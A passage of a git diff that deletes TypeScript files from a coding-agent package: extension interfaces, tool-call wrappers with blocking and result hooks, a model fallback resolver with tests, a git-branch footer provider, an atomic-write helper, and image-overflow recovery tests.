* Register or unregister a provider. - * - * Before bindCore(): queues registrations / removes from queue. - * After bindCore(): calls ModelRegistry directly for immediate effect. - */ - registerProvider: (name: string, config: ProviderConfig) => void; - unregisterProvider: (name: string) => void; - /** Emit before_model_select event to all registered handlers. Bound by ExtensionRunner. */ - emitBeforeModelSelect: ( - event: Omit, - ) => Promise; - /** Emit adjust_tool_set event to all registered handlers. Bound by ExtensionRunner (ADR-005). */ - emitAdjustToolSet: ( - event: Omit, - ) => Promise; -} - -/** - * Action implementations for pi.* API methods. - * Provided to runner.initialize(), copied into the shared runtime. - */ -export interface ExtensionActions { - sendMessage: ( - message: Pick< - CustomMessage, - "customType" | "content" | "display" | "details" - >, - options?: { - triggerTurn?: boolean; - deliverAs?: "steer" | "followUp" | "nextTurn"; - }, - ) => Promise; - sendUserMessage: ( - content: string | (TextContent | ImageContent)[], - options?: { deliverAs?: "steer" | "followUp" }, - ) => void; - retryLastTurn: () => void; - appendEntry: (customType: string, data?: T) => void; - setSessionName: (name: string) => void; - getSessionName: () => string | undefined; - setLabel: (entryId: string, label: string | undefined) => void; - getActiveTools: () => string[]; - getAllTools: () => ToolInfo[]; - setActiveTools: (toolNames: string[]) => void; - refreshTools: () => void; - getCommands: () => SlashCommandInfo[]; - setModel: ( - model: Model, - options?: { persist?: boolean }, - ) => Promise; - getThinkingLevel: () => ThinkingLevel; - setThinkingLevel: (level: ThinkingLevel) => void; -} - -/** - * Actions for ExtensionContext (ctx.* in event handlers). - * Required by all modes. - */ -export interface ExtensionContextActions { - getModel: () => Model | undefined; - isIdle: () => boolean; - abort: () => void; - hasPendingMessages: () => boolean; - shutdown: () => void; - getContextUsage: () => ContextUsage | undefined; - compact: (options?: CompactOptions) => void; - getSystemPrompt: () => string; - requestReload: (reason?: string) => void; -} - -/** - * Actions for ExtensionCommandContext (ctx.* in command handlers). - * Only needed for interactive mode where extension commands are invokable. - */ -export interface ExtensionCommandContextActions { - waitForIdle: () => Promise; - newSession: (options?: { - parentSession?: string; - setup?: (sessionManager: SessionManager) => Promise; - }) => Promise<{ cancelled: boolean }>; - fork: (entryId: string) => Promise<{ cancelled: boolean }>; - navigateTree: ( - targetId: string, - options?: { - summarize?: boolean; - customInstructions?: string; - replaceInstructions?: boolean; - label?: string; - }, - ) => Promise<{ cancelled: boolean }>; - switchSession: (sessionPath: string) => Promise<{ cancelled: boolean }>; - reload: () => Promise; -} - -/** - * Full runtime = state + actions. - * Created by loader with throwing action stubs, completed by runner.initialize(). - */ -export interface ExtensionRuntime - extends ExtensionRuntimeState, - ExtensionActions {} - -/** Loaded extension with all registered items. */ -export interface Extension { - path: string; - resolvedPath: string; - handlers: Map; - tools: Map; - messageRenderers: Map; - commands: Map; - flags: Map; - shortcuts: Map; - lifecycleHooks: LifecycleHookMap; -} - -/** Result of loading extensions. */ -export interface LoadExtensionsResult { - extensions: Extension[]; - errors: Array<{ path: string; error: string }>; - /** Shared runtime - actions are throwing stubs until runner.initialize() */ - runtime: ExtensionRuntime; -} - -// ============================================================================ -// Extension Error -// ============================================================================ - -export interface ExtensionError { - extensionPath: string; - event: string; - error: string; - stack?: string; -} diff --git a/packages/pi-coding-agent/src/core/extensions/wrapper.ts b/packages/pi-coding-agent/src/core/extensions/wrapper.ts deleted file mode 100644 index afc47fa22..000000000 --- a/packages/pi-coding-agent/src/core/extensions/wrapper.ts +++ /dev/null @@ -1,159 +0,0 @@ -/** - * Tool wrappers for extensions. - */ - -import type { - AgentTool, - AgentToolUpdateCallback, -} from "@singularity-forge/pi-agent-core"; -import type { ExtensionRunner } from "./runner.js"; -import type { RegisteredTool, ToolCallEventResult } from "./types.js"; - -/** - * Wrap a RegisteredTool into an AgentTool. - * Uses the runner's createContext() for consistent context across tools and event handlers. - */ -export function wrapRegisteredTool( - registeredTool: RegisteredTool, - runner: ExtensionRunner, -): AgentTool { - const { definition } = registeredTool; - return { - name: definition.name, - label: definition.label, - description: definition.description, - parameters: definition.parameters, - execute: (toolCallId, params, signal, onUpdate) => - definition.execute( - toolCallId, - params, - signal, - onUpdate, - runner.createContext(), - ), - }; -} - -/** - * Wrap all registered tools into AgentTools. - * Uses the runner's createContext() for consistent context across tools and event handlers. - */ -export function wrapRegisteredTools( - registeredTools: RegisteredTool[], - runner: ExtensionRunner, -): AgentTool[] { - return registeredTools.map((rt) => wrapRegisteredTool(rt, runner)); -} - -/** - * Wrap a tool with extension callbacks for interception. - * - Emits tool_call event before execution (can block) - * - Emits tool_result event after execution (can modify result) - */ -export function wrapToolWithExtensions( - tool: AgentTool, - runner: ExtensionRunner, -): AgentTool { - return { - ...tool, - execute: async ( - toolCallId: string, - params: Record, - signal?: AbortSignal, - onUpdate?: AgentToolUpdateCallback, - ) => { - // For bash tool calls, let extensions transform the command before execution - if (tool.name === "bash" && runner.hasHandlers("bash_transform")) { - const input = params as { command?: string; cwd?: string }; - if (typeof input.command === "string") { - const transformed = await runner.emitBashTransform( - input.command, - input.cwd ?? "", - ); - params = { ...params, command: transformed }; - } - } - - // Emit tool_call event - extensions can block execution - if (runner.hasHandlers("tool_call")) { - try { - const callResult = (await runner.emitToolCall({ - type: "tool_call", - toolName: tool.name, - toolCallId, - input: params, - })) as ToolCallEventResult | undefined; - - if (callResult?.block) { - const reason = - callResult.reason || "Tool execution was blocked by an extension"; - throw new Error(reason); - } - } catch (err) { - if (err instanceof Error) { - throw err; - } - throw new Error( - `Extension failed, blocking execution: ${String(err)}`, - ); - } - } - - // Execute the actual tool - try { - const result = await tool.execute(toolCallId, params, signal, onUpdate); - - // Emit tool_result event - extensions can modify the result - if (runner.hasHandlers("tool_result")) { - const resultResult = await runner.emitToolResult({ - type: "tool_result", - toolName: tool.name, - toolCallId, - input: params, - content: result.content, - details: result.details, - isError: false, - }); - - if (resultResult) { - return { - content: resultResult.content ?? result.content, - details: (resultResult.details ?? result.details) as T, - }; - } - } - - return result; - } catch (err) { - // Emit tool_result event for errors - if (runner.hasHandlers("tool_result")) { - await runner.emitToolResult({ - type: "tool_result", - toolName: tool.name, - toolCallId, - input: params, - content: [ - { - type: "text", - text: err instanceof Error ? err.message : String(err), - }, - ], - details: undefined, - isError: true, - }); - } - throw err; - } - }, - }; -} - -/** - * Wrap all tools with extension callbacks. - */ -export function wrapToolsWithExtensions( - tools: AgentTool[], - runner: ExtensionRunner, -): AgentTool[] { - return tools.map((tool) => wrapToolWithExtensions(tool, runner)); -} diff --git a/packages/pi-coding-agent/src/core/fallback-resolver.test.ts b/packages/pi-coding-agent/src/core/fallback-resolver.test.ts deleted file mode 100644 index d6fdb8da3..000000000 --- a/packages/pi-coding-agent/src/core/fallback-resolver.test.ts +++ /dev/null @@ -1,273 +0,0 @@ -// SF Provider Fallback Resolver Tests -// Copyright (c) 2026 Jeremy McSpadden - -import assert from "node:assert/strict"; -import type { Api, Model } from "@singularity-forge/pi-ai"; -import { describe, it, vi } from "vitest"; -import type { AuthStorage } from "./auth-storage.js"; -import { FallbackResolver } from "./fallback-resolver.js"; -import type { ModelRegistry } from "./model-registry.js"; -import type { - FallbackChainEntry, - SettingsManager, -} from "./settings-manager.js"; - -function createMockModel(provider: string, id: string): Model { - return { - id, - name: id, - api: "openai-completions" as Api, - provider, - baseUrl: `https://api.${provider}.com`, - reasoning: false, - input: ["text"], - cost: { input: 0, output: 0, cacheRead: 0, cacheWrite: 0 }, - contextWindow: 128000, - maxTokens: 16384, - } as Model; -} - -const zaiModel = createMockModel("zai", "glm-5"); -const alibabaModel = createMockModel("alibaba", "glm-5"); -const openaiModel = createMockModel("openai", "gpt-4.1"); - -const defaultChain: FallbackChainEntry[] = [ - { provider: "zai", model: "glm-5", priority: 1 }, - { provider: "alibaba", model: "glm-5", priority: 2 }, - { provider: "openai", model: "gpt-4.1", priority: 3 }, -]; - -function createResolver(overrides?: { - enabled?: boolean; - isProviderAvailable?: (provider: string) => boolean; - hasAuth?: (provider: string) => boolean; - isProviderRequestReady?: (provider: string) => boolean; - find?: (provider: string, modelId: string) => Model | undefined; - getAvailable?: () => Model[]; -}) { - const settingsManager = { - getFallbackSettings: () => ({ - enabled: overrides?.enabled ?? true, - chains: { coding: defaultChain }, - }), - } as unknown as SettingsManager; - - const authStorage = { - markProviderExhausted: vi.fn(), - isProviderAvailable: overrides?.isProviderAvailable ?? (() => true), - hasAuth: overrides?.hasAuth ?? (() => true), - } as unknown as AuthStorage; - - const modelRegistry = { - find: - overrides?.find ?? - ((provider: string, modelId: string) => { - if (provider === "zai" && modelId === "glm-5") return zaiModel; - if (provider === "alibaba" && modelId === "glm-5") return alibabaModel; - if (provider === "openai" && modelId === "gpt-4.1") return openaiModel; - return undefined; - }), - isProviderRequestReady: - overrides?.isProviderRequestReady ?? overrides?.hasAuth ?? (() => true), - getAvailable: - overrides?.getAvailable ?? (() => [zaiModel, alibabaModel, openaiModel]), - } as unknown as ModelRegistry; - - return { - resolver: new FallbackResolver(settingsManager, authStorage, modelRegistry), - authStorage, - }; -} - -// ─── findFallback ──────────────────────────────────────────────────────────── - -describe("FallbackResolver — findFallback", () => { - it("reselects from the current available models when current fails", async () => { - const { resolver } = createResolver(); - const result = await resolver.findFallback(zaiModel, "quota_exhausted"); - - assert.notEqual(result, null); - assert.equal(result!.model.provider, "alibaba"); - assert.equal(result!.chainName, "fresh-selection"); - }); - - it("marks current provider as exhausted for rate_limit errors", async () => { - const { resolver, authStorage } = createResolver(); - await resolver.findFallback(zaiModel, "rate_limit"); - - const fn = authStorage.markProviderExhausted as any; - assert.equal(fn.mock.calls.length, 1); - assert.equal(fn.mock.calls[0][0], "zai"); - assert.equal(fn.mock.calls[0][1], "rate_limit"); - }); - - it("does NOT mark provider as exhausted for quota_exhausted (per-model quota)", async () => { - const { resolver, authStorage } = createResolver(); - await resolver.findFallback(zaiModel, "quota_exhausted"); - - const fn = authStorage.markProviderExhausted as any; - assert.equal( - fn.mock.calls.length, - 0, - "quota_exhausted should not mark entire provider exhausted — other models may have quota", - ); - }); - - it("skips backed-off providers", async () => { - const { resolver } = createResolver({ - isProviderAvailable: (provider: string) => provider !== "alibaba", - }); - - const result = await resolver.findFallback(zaiModel, "quota_exhausted"); - - assert.notEqual(result, null); - assert.equal(result!.model.provider, "openai"); - assert.equal(result!.model.id, "gpt-4.1"); - }); - - it("returns null when all providers are backed off", async () => { - const { resolver } = createResolver({ - isProviderAvailable: () => false, - getAvailable: () => [zaiModel, alibabaModel, openaiModel], - }); - - const result = await resolver.findFallback(zaiModel, "quota_exhausted"); - assert.equal(result, null); - }); - - it("returns null when fallback is disabled", async () => { - const { resolver } = createResolver({ enabled: false }); - const result = await resolver.findFallback(zaiModel, "quota_exhausted"); - assert.equal(result, null); - }); - - it("reselects from scratch when model is not in any chain", async () => { - const { resolver } = createResolver(); - const unknownModel = createMockModel("unknown", "some-model"); - const result = await resolver.findFallback(unknownModel, "quota_exhausted"); - assert.notEqual(result, null); - assert.equal(result!.chainName, "fresh-selection"); - // Should pick an available model with different provider - assert.notEqual(result!.model.provider, "unknown"); - }); - - it("free selection prefers models with matching reasoning capability", async () => { - const reasoningModel = createMockModel("openai", "gpt-4.1"); - reasoningModel.reasoning = true; - const nonReasoningModel = createMockModel("alibaba", "glm-5"); - nonReasoningModel.reasoning = false; - - const { resolver } = createResolver({ - getAvailable: () => [nonReasoningModel, reasoningModel], - }); - - const currentModel = createMockModel("unknown", "some-model"); - currentModel.reasoning = true; - - const result = await resolver.findFallback(currentModel, "quota_exhausted"); - assert.notEqual(result, null); - assert.equal(result!.model.provider, "openai"); - assert.equal(result!.model.reasoning, true); - }); - - it("free selection excludes same provider", async () => { - const sameProviderModel = createMockModel("zai", "glm-5-other"); - const differentProviderModel = createMockModel("alibaba", "glm-5"); - - const { resolver } = createResolver({ - getAvailable: () => [sameProviderModel, differentProviderModel], - }); - - const result = await resolver.findFallback(zaiModel, "quota_exhausted"); - assert.notEqual(result, null); - assert.equal(result!.model.provider, "alibaba"); - }); - - it("skips providers that are not request-ready", async () => { - const { resolver } = createResolver({ - isProviderRequestReady: (provider: string) => provider !== "alibaba", - }); - - const result = await resolver.findFallback(zaiModel, "quota_exhausted"); - - assert.notEqual(result, null); - assert.equal(result!.model.provider, "openai"); - }); - - it("allows fallback to external-cli style providers without stored auth", async () => { - const { resolver } = createResolver({ - hasAuth: () => false, - isProviderRequestReady: (provider: string) => provider === "alibaba", - }); - - const result = await resolver.findFallback(zaiModel, "quota_exhausted"); - assert.notEqual(result, null); - assert.equal(result!.model.provider, "alibaba"); - }); - - it("skips providers with no model in registry", async () => { - const { resolver } = createResolver({ - getAvailable: () => [openaiModel], - }); - - const result = await resolver.findFallback(zaiModel, "quota_exhausted"); - - assert.notEqual(result, null); - assert.equal(result!.model.provider, "openai"); - }); -}); - -// ─── checkForRestoration ───────────────────────────────────────────────────── - -describe("FallbackResolver — checkForRestoration", () => { - it("returns null because restoration is disabled", async () => { - const { resolver } = createResolver(); - const result = await resolver.checkForRestoration(alibabaModel); - assert.equal(result, null); - }); -}); - -// ─── getBestAvailable ──────────────────────────────────────────────────────── - -describe("FallbackResolver — getBestAvailable", () => { - it("returns highest-priority available provider", async () => { - const { resolver } = createResolver(); - const result = await resolver.getBestAvailable("coding"); - - assert.notEqual(result, null); - assert.equal(result!.model.provider, "zai"); - }); - - it("skips backed-off providers", async () => { - const { resolver } = createResolver({ - isProviderAvailable: (provider: string) => provider !== "zai", - }); - - const result = await resolver.getBestAvailable("coding"); - - assert.notEqual(result, null); - assert.equal(result!.model.provider, "alibaba"); - }); - - it("returns null for unknown chain", async () => { - const { resolver } = createResolver(); - const result = await resolver.getBestAvailable("nonexistent"); - assert.equal(result, null); - }); -}); - -// ─── findChainsForModel ────────────────────────────────────────────────────── - -describe("FallbackResolver — findChainsForModel", () => { - it("finds chains containing a model", () => { - const { resolver } = createResolver(); - const chains = resolver.findChainsForModel("zai", "glm-5"); - assert.deepEqual(chains, ["coding"]); - }); - - it("returns empty array for model not in any chain", () => { - const { resolver } = createResolver(); - const chains = resolver.findChainsForModel("unknown", "model"); - assert.deepEqual(chains, []); - }); -}); diff --git a/packages/pi-coding-agent/src/core/fallback-resolver.ts b/packages/pi-coding-agent/src/core/fallback-resolver.ts deleted file mode 100644 index 7d3fb746b..000000000 --- a/packages/pi-coding-agent/src/core/fallback-resolver.ts +++ /dev/null @@ -1,170 +0,0 @@ -// SF Provider Fallback Resolver -// Copyright (c) 2026 Jeremy McSpadden - -/** - * FallbackResolver - Fresh model reselection when rate/quota limits are hit. - * - * When a provider/model becomes unhealthy, this resolver picks a fresh model from - * the current available registry rather than walking a preconfigured fallback chain. - */ - -import type { Api, Model } from "@singularity-forge/pi-ai"; -import type { AuthStorage, UsageLimitErrorType } from "./auth-storage.js"; -import type { ModelRegistry } from "./model-registry.js"; -import type { - FallbackChainEntry, - SettingsManager, -} from "./settings-manager.js"; - -export interface FallbackResult { - model: Model; - chainName: string; - reason: string; -} - -export class FallbackResolver { - constructor( - private settingsManager: SettingsManager, - private authStorage: AuthStorage, - private modelRegistry: ModelRegistry, - ) {} - - /** - * Find a fresh replacement for a model that just failed. - * Ignores fallback chains and reselects from the current available registry. - * - * @returns FallbackResult if a replacement is available, null otherwise - */ - async findFallback( - currentModel: Model, - errorType: UsageLimitErrorType, - ): Promise { - const { enabled } = this.settingsManager.getFallbackSettings(); - if (!enabled) return null; - - // Mark the current provider as exhausted at the provider level. - // Skip for quota_exhausted — quotas are typically per-model (e.g. - // google-gemini-cli's Code Assist per-model limits), so other models - // from the same provider may still be available. - if (errorType !== "quota_exhausted") { - this.authStorage.markProviderExhausted(currentModel.provider, errorType); - } - - return this._findAnyAvailableFallback(currentModel); - } - - /** - * Automatic restoration is disabled when replacement is always reselected - * from scratch instead of following a chain. - */ - async checkForRestoration( - _currentModel: Model, - ): Promise { - return null; - } - - /** - * Get the best available model from a named chain. - * Useful for initial model selection. - */ - async getBestAvailable(chainName: string): Promise { - const { enabled, chains } = this.settingsManager.getFallbackSettings(); - if (!enabled) return null; - - const entries = chains[chainName]; - if (!entries || entries.length === 0) return null; - - return this._findAvailableInChain(chainName, entries, 0); - } - - /** - * Find the chain(s) a model belongs to. - */ - findChainsForModel(provider: string, modelId: string): string[] { - const { chains } = this.settingsManager.getFallbackSettings(); - const result: string[] = []; - - for (const [chainName, entries] of Object.entries(chains)) { - if (entries.some((e) => e.provider === provider && e.model === modelId)) { - result.push(chainName); - } - } - - return result; - } - - /** - * Search a chain for the first available entry starting from startIndex. - */ - private async _findAvailableInChain( - chainName: string, - entries: FallbackChainEntry[], - startIndex: number, - endIndex?: number, - ): Promise { - const end = endIndex ?? entries.length; - - for (let i = startIndex; i < end; i++) { - const entry = entries[i]; - - // Check provider-level backoff - if (!this.authStorage.isProviderAvailable(entry.provider)) { - continue; - } - - // Check if model exists in registry - const model = this.modelRegistry.find(entry.provider, entry.model); - if (!model) continue; - - // Check if provider is request-ready for fallback (authMode-aware) - if (!this.modelRegistry.isProviderRequestReady(entry.provider)) continue; - - return { - model, - chainName, - reason: `falling back to ${entry.provider}/${entry.model}`, - }; - } - - return null; - } - - /** - * Free-selection fallback when no chain contains the current model. - * Picks any available model from the registry with a different provider. - * Prefers models with reasoning capability if the current model has it. - */ - private _findAnyAvailableFallback( - currentModel: Model, - ): FallbackResult | null { - const allModels = this.modelRegistry.getAvailable(); - const candidates = allModels.filter((m) => { - // Exclude same provider — credential rotation was already tried - if (m.provider === currentModel.provider) return false; - // Exclude exhausted providers - if (!this.authStorage.isProviderAvailable(m.provider)) return false; - // Exclude models without auth - if (!this.modelRegistry.isProviderRequestReady(m.provider)) return false; - return true; - }); - - if (candidates.length === 0) return null; - - // Sort: prefer models with matching reasoning capability, then by context window - candidates.sort((a, b) => { - const aReasoningMatch = a.reasoning === currentModel.reasoning ? 1 : 0; - const bReasoningMatch = b.reasoning === currentModel.reasoning ? 1 : 0; - if (aReasoningMatch !== bReasoningMatch) { - return bReasoningMatch - aReasoningMatch; - } - return (b.contextWindow ?? 0) - (a.contextWindow ?? 0); - }); - - const chosen = candidates[0]; - return { - model: chosen, - chainName: "fresh-selection", - reason: `reselected ${chosen.provider}/${chosen.id} from available models`, - }; - } -} diff --git a/packages/pi-coding-agent/src/core/footer-data-provider.ts b/packages/pi-coding-agent/src/core/footer-data-provider.ts deleted file mode 100644 index 436aa5b41..000000000 --- a/packages/pi-coding-agent/src/core/footer-data-provider.ts +++ /dev/null @@ -1,155 +0,0 @@ -import { - existsSync, - type FSWatcher, - readFileSync, - statSync, - watch, -} from "node:fs"; -import { dirname, join, resolve } from "node:path"; - -/** - * Find the git HEAD path by walking up from cwd. - * Handles both regular git repos (.git is a directory) and worktrees (.git is a file). - */ -function findGitHeadPath(): string | null { - let dir = process.cwd(); - while (true) { - const gitPath = join(dir, ".git"); - if (existsSync(gitPath)) { - try { - const stat = statSync(gitPath); - if (stat.isFile()) { - const content = readFileSync(gitPath, "utf8").trim(); - if (content.startsWith("gitdir: ")) { - const gitDir = content.slice(8); - const headPath = resolve(dir, gitDir, "HEAD"); - if (existsSync(headPath)) return headPath; - } - } else if (stat.isDirectory()) { - const headPath = join(gitPath, "HEAD"); - if (existsSync(headPath)) return headPath; - } - } catch { - return null; - } - } - const parent = dirname(dir); - if (parent === dir) return null; - dir = parent; - } -} - -/** - * Provides git branch and extension statuses - data not otherwise accessible to extensions. - * Token stats, model info available via ctx.sessionManager and ctx.model. - */ -export class FooterDataProvider { - private extensionStatuses = new Map(); - private cachedBranch: string | null | undefined = undefined; - private gitWatcher: FSWatcher | null = null; - private branchChangeCallbacks = new Set<() => void>(); - private availableProviderCount = 0; - - constructor() { - this.setupGitWatcher(); - } - - /** Current git branch, null if not in repo, "detached" if detached HEAD */ - getGitBranch(): string | null { - if (this.cachedBranch !== undefined) return this.cachedBranch; - - try { - const gitHeadPath = findGitHeadPath(); - if (!gitHeadPath) { - this.cachedBranch = null; - return null; - } - const content = readFileSync(gitHeadPath, "utf8").trim(); - this.cachedBranch = content.startsWith("ref: refs/heads/") - ? content.slice(16) - : "detached"; - } catch { - this.cachedBranch = null; - } - return this.cachedBranch; - } - - /** Extension status texts set via ctx.ui.setStatus() */ - getExtensionStatuses(): ReadonlyMap { - return this.extensionStatuses; - } - - /** Subscribe to git branch changes. Returns unsubscribe function. */ - onBranchChange(callback: () => void): () => void { - this.branchChangeCallbacks.add(callback); - return () => this.branchChangeCallbacks.delete(callback); - } - - /** Internal: set extension status */ - setExtensionStatus(key: string, text: string | undefined): void { - if (text === undefined) { - this.extensionStatuses.delete(key); - } else { - this.extensionStatuses.set(key, text); - } - } - - /** Internal: clear extension statuses */ - clearExtensionStatuses(): void { - this.extensionStatuses.clear(); - } - - /** Number of unique providers with available models (for footer display) */ - getAvailableProviderCount(): number { - return this.availableProviderCount; - } - - /** Internal: update available provider count */ - setAvailableProviderCount(count: number): void { - this.availableProviderCount = count; - } - - /** Internal: cleanup */ - dispose(): void { - if (this.gitWatcher) { - this.gitWatcher.close(); - this.gitWatcher = null; - } - this.branchChangeCallbacks.clear(); - } - - private setupGitWatcher(): void { - if (this.gitWatcher) { - this.gitWatcher.close(); - this.gitWatcher = null; - } - - const gitHeadPath = findGitHeadPath(); - if (!gitHeadPath) return; - - // Watch the directory containing HEAD, not HEAD itself. - // Git uses atomic writes (write temp, rename over HEAD), which changes the inode. - // fs.watch on a file stops working after the inode changes. - const gitDir = dirname(gitHeadPath); - - try { - this.gitWatcher = watch(gitDir, (_eventType, filename) => { - if (filename === "HEAD") { - this.cachedBranch = undefined; - for (const cb of this.branchChangeCallbacks) cb(); - } - }); - } catch { - // Silently fail if we can't watch - } - } -} - -/** Read-only view for extensions - excludes setExtensionStatus, setAvailableProviderCount and dispose */ -export type ReadonlyFooterDataProvider = Pick< - FooterDataProvider, - | "getGitBranch" - | "getExtensionStatuses" - | "getAvailableProviderCount" - | "onBranchChange" ->; diff --git a/packages/pi-coding-agent/src/core/fs-utils.test.ts b/packages/pi-coding-agent/src/core/fs-utils.test.ts deleted file mode 100644 index 3f9961e0f..000000000 --- a/packages/pi-coding-agent/src/core/fs-utils.test.ts +++ /dev/null @@ -1,54 +0,0 @@ -import assert from "node:assert/strict"; -import { existsSync, mkdtempSync, readFileSync, rmSync } from "node:fs"; -import { tmpdir } from "node:os"; -import { join } from "node:path"; -import { afterEach, describe, it } from "vitest"; -import { atomicWriteFileSync } from "./fs-utils.js"; - -describe("atomicWriteFileSync", () => { - let dir: string; - - afterEach(() => { - if (dir) { - rmSync(dir, { recursive: true, force: true }); - } - }); - - it("writes file content atomically", () => { - dir = mkdtempSync(join(tmpdir(), "fs-utils-test-")); - const filePath = join(dir, "test.txt"); - atomicWriteFileSync(filePath, "hello world"); - assert.equal(readFileSync(filePath, "utf-8"), "hello world"); - }); - - it("overwrites existing file atomically", () => { - dir = mkdtempSync(join(tmpdir(), "fs-utils-test-")); - const filePath = join(dir, "test.txt"); - atomicWriteFileSync(filePath, "first"); - atomicWriteFileSync(filePath, "second"); - assert.equal(readFileSync(filePath, "utf-8"), "second"); - }); - - it("does not leave .tmp file after successful write", () => { - dir = mkdtempSync(join(tmpdir(), "fs-utils-test-")); - const filePath = join(dir, "test.txt"); - atomicWriteFileSync(filePath, "content"); - assert.equal(existsSync(filePath + ".tmp"), false); - }); - - it("supports Buffer content", () => { - dir = mkdtempSync(join(tmpdir(), "fs-utils-test-")); - const filePath = join(dir, "test.bin"); - const buf = Buffer.from([0x00, 0x01, 0x02, 0xff]); - atomicWriteFileSync(filePath, buf); - const result = readFileSync(filePath); - assert.deepEqual(result, buf); - }); - - it("supports encoding parameter", () => { - dir = mkdtempSync(join(tmpdir(), "fs-utils-test-")); - const filePath = join(dir, "test.txt"); - atomicWriteFileSync(filePath, "utf8 content", "utf-8"); - assert.equal(readFileSync(filePath, "utf-8"), "utf8 content"); - }); -}); diff --git a/packages/pi-coding-agent/src/core/fs-utils.ts b/packages/pi-coding-agent/src/core/fs-utils.ts deleted file mode 100644 index 0f7ad1609..000000000 --- a/packages/pi-coding-agent/src/core/fs-utils.ts +++ /dev/null @@ -1,16 +0,0 @@ -import { renameSync, writeFileSync } from "node:fs"; - -/** - * Atomically write a file by writing to a temporary path then renaming. - * This prevents data loss if the process crashes mid-write — either the - * old file remains intact or the new content is fully written. - */ -export function atomicWriteFileSync( - filePath: string, - content: string | Buffer, - encoding?: BufferEncoding, -): void { - const tmpPath = filePath + ".tmp"; - writeFileSync(tmpPath, content, encoding); - renameSync(tmpPath, filePath); -} diff --git a/packages/pi-coding-agent/src/core/image-overflow-recovery.test.ts b/packages/pi-coding-agent/src/core/image-overflow-recovery.test.ts deleted file mode 100644 index 52c93b335..000000000 --- a/packages/pi-coding-agent/src/core/image-overflow-recovery.test.ts +++ /dev/null @@ -1,243 +0,0 @@ -import assert from "node:assert/strict"; -import type { Message } from "@singularity-forge/pi-ai"; -import { describe, it } from "vitest"; -import { - downsizeConversationImages, - isImageDimensionError, - MANY_IMAGE_MAX_DIMENSION, -} from "./image-overflow-recovery.js"; - -// ─── isImageDimensionError ──────────────────────────────────────────────────── - -describe("isImageDimensionError", () => { - it("returns true for Anthropic many-image dimension error", () => { - const errorMessage = - 'Error: 400 {"type":"error","error":{"type":"invalid_request_error","message":"messages.125.content.38.image.source.base64.data: At least one of the image dimensions exceed max allowed size for many-image requests: 2000 pixels"}}'; - assert.equal(isImageDimensionError(errorMessage), true); - }); - - it("returns true for bare dimension exceed message", () => { - const errorMessage = - "image dimensions exceed max allowed size for many-image requests: 2000 pixels"; - assert.equal(isImageDimensionError(errorMessage), true); - }); - - it("returns false for unrelated 400 error", () => { - const errorMessage = - 'Error: 400 {"type":"error","error":{"type":"invalid_request_error","message":"max_tokens: 4096 > 2048"}}'; - assert.equal(isImageDimensionError(errorMessage), false); - }); - - it("returns false for rate limit error", () => { - assert.equal(isImageDimensionError("429 rate limit exceeded"), false); - }); - - it("returns false for empty string", () => { - assert.equal(isImageDimensionError(""), false); - }); - - it("returns false for undefined", () => { - assert.equal(isImageDimensionError(undefined), false); - }); -}); - -// ─── MANY_IMAGE_MAX_DIMENSION ───────────────────────────────────────────────── - -describe("MANY_IMAGE_MAX_DIMENSION", () => { - it("is less than 2000 (the API-enforced limit)", () => { - assert.ok(MANY_IMAGE_MAX_DIMENSION < 2000); - }); - - it("is a positive integer", () => { - assert.ok(MANY_IMAGE_MAX_DIMENSION > 0); - assert.equal( - MANY_IMAGE_MAX_DIMENSION, - Math.floor(MANY_IMAGE_MAX_DIMENSION), - ); - }); -}); - -// ─── helpers ────────────────────────────────────────────────────────────────── - -function makeUserMsg(content: Message["content"] & any): Message { - return { role: "user", content, timestamp: Date.now() } as Message; -} - -function makeAssistantMsg(text: string): Message { - return { - role: "assistant", - content: [{ type: "text", text }], - api: "anthropic-messages", - provider: "anthropic", - model: "claude-opus-4-6", - usage: { - input: 0, - output: 0, - cacheRead: 0, - cacheWrite: 0, - totalTokens: 0, - cost: { input: 0, output: 0, cacheRead: 0, cacheWrite: 0, total: 0 }, - }, - stopReason: "stop", - timestamp: Date.now(), - } as Message; -} - -function makeToolResultMsg(images: number): Message { - const content: any[] = []; - for (let i = 0; i < images; i++) { - content.push({ type: "image", data: `img${i}`, mimeType: "image/png" }); - } - return { - role: "toolResult", - toolCallId: `tc${Math.random()}`, - toolName: "screenshot", - content, - isError: false, - timestamp: Date.now(), - } as Message; -} - -// ─── downsizeConversationImages ─────────────────────────────────────────────── - -describe("downsizeConversationImages", () => { - it("counts images in user and toolResult messages", () => { - const messages: Message[] = [ - makeUserMsg([ - { type: "image", data: "img1", mimeType: "image/png" }, - { type: "image", data: "img2", mimeType: "image/png" }, - ]), - makeAssistantMsg("I see them"), - makeToolResultMsg(1), - ]; - - const result = downsizeConversationImages(messages); - assert.equal(result.imageCount, 3); - }); - - it("returns processed=false when no images present", () => { - const messages: Message[] = [ - makeUserMsg("just text"), - makeAssistantMsg("reply"), - ]; - - const result = downsizeConversationImages(messages); - assert.equal(result.imageCount, 0); - assert.equal(result.processed, false); - }); - - it("returns processed=false when image count <= RECENT_IMAGES_TO_KEEP", () => { - const messages: Message[] = [ - makeUserMsg([{ type: "image", data: "img1", mimeType: "image/png" }]), - makeAssistantMsg("got it"), - ]; - - const result = downsizeConversationImages(messages); - assert.equal(result.imageCount, 1); - assert.equal(result.processed, false); - }); - - it("strips older images when many images present, preserves recent ones", () => { - const messages: Message[] = []; - for (let i = 0; i < 25; i++) { - messages.push( - makeUserMsg([ - { type: "text", text: `message ${i}` }, - { type: "image", data: `img${i}`, mimeType: "image/png" }, - ]), - ); - messages.push(makeAssistantMsg(`reply ${i}`)); - } - - const result = downsizeConversationImages(messages); - assert.ok(result.processed); - assert.equal(result.imageCount, 25); - assert.equal(result.strippedCount, 20); // 25 - 5 recent - - // Count remaining images - let remainingImages = 0; - for (const msg of messages) { - if (msg.role === "assistant") continue; - if (typeof msg.content === "string") continue; - const arr = msg.content as any[]; - for (const block of arr) { - if (block.type === "image") remainingImages++; - } - } - assert.equal( - remainingImages, - 5, - "Should keep exactly 5 most recent images", - ); - - // The 5 most recent user messages (indices 40,42,44,46,48) should have images - for (let i = 20; i < 25; i++) { - const userMsg = messages[i * 2]; // user messages at even indices - const arr = userMsg.content as any[]; - const hasImage = arr.some((c: any) => c.type === "image"); - assert.ok(hasImage, `Recent message ${i} should retain its image`); - } - }); - - it("adds text placeholder when stripping an image", () => { - const messages: Message[] = []; - for (let i = 0; i < 10; i++) { - messages.push( - makeUserMsg([ - { type: "image", data: `img${i}`, mimeType: "image/jpeg" }, - ]), - ); - messages.push(makeAssistantMsg(`reply ${i}`)); - } - - downsizeConversationImages(messages); - - // First message's image should have been replaced with text - const firstMsg = 